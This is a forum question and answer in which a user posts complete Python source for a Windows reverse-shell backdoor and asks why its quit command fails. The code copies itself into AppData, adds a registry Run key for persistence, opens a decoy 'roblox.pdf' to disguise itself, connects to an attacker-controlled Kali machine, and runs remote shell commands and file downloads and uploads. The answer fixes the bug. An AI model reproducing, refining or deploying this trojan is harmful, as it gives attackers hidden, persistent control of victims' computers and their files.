import socket
import subprocess
import simplejson
import os
import base64
import time
import shutil
import sys
class Registry:
def __init__(self):
self.new_file = os.environ["appdata"] + "\\sysupgrade.exe"
self.added_file = sys._MEIPASS + "\\roblox.pdf"
def add_to_registry(self):
if not os.path.exists(self.new_file):
shutil.copyfile(sys.executable,self.new_file)
regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v upgrade /t REG_SZ /d " + self.new_file
subprocess.call(regedit_command, shell=True)
def open_added_file(self):
subprocess.Popen(self.added_file, shell=True)
def start_registry(self):
self.add_to_registry()
self.open_added_file()
class MySocket:
def __init__(self,ip,port):
self.my_connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.my_connection.connect((ip,port))
def json_send(self, data):
json_data = simplejson.dumps(data)
self.my_connection.send(json_data.encode("utf-8"))
def json_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.my_connection.recv(1024).decode()
return simplejson.loads(json_data)
except ValueError:
continue
def command_execution(self,command):
return subprocess.check_output(command, shell=True)
def execute_cd_command(self,directory):
os.chdir(directory)
return "Cd to " + directory
def read_file(self,path):
with open(path,"rb") as my_file:
return base64.b64encode(my_file.read())
def save_file(self,path,content):
with open(path,"wb") as my_file:
my_file.write(base64.b64decode(content))
return "Upload OK!"
def start_socket(self):
while True:
command = self.json_receive()
try:
if command[0] == "quit":
self.my_connection.close()
exit()
elif command[0] == "cd" and len(command) > 1 :
command_output = self.execute_cd_command(command[1])
elif command[0] == "download":
command_output = self.read_file(command[1])
elif command[0] == "upload":
command_output = self.save_file(command[1],command[2])
else:
command_output = self.command_execution(command)
except Exception:
command_output = "Error!"
self.json_send(command_output)
self.my_connection.close()
my_registry = Registry()
my_registry.start_registry()
my_socket_object = MySocket("10.0.2.4",4721)
my_socket_object.start_socket()
I run this socket in my windows and i run a program that listening this socket in kali linux. When i write quit i am getting this error. Normally i wasnt getting this error but when i added class Registry i started to get this error before that when i wrote quit i could quit both programs.Can anyone help me please?
>Solution :
It’s your global try/except
. The exit()
function raises an exception, which you are catching, thereby stopping the exit. You then try to send the error output, which fails. Just replace the two lines in the 'quit'
handler with break
. Let the function clean-up do the close.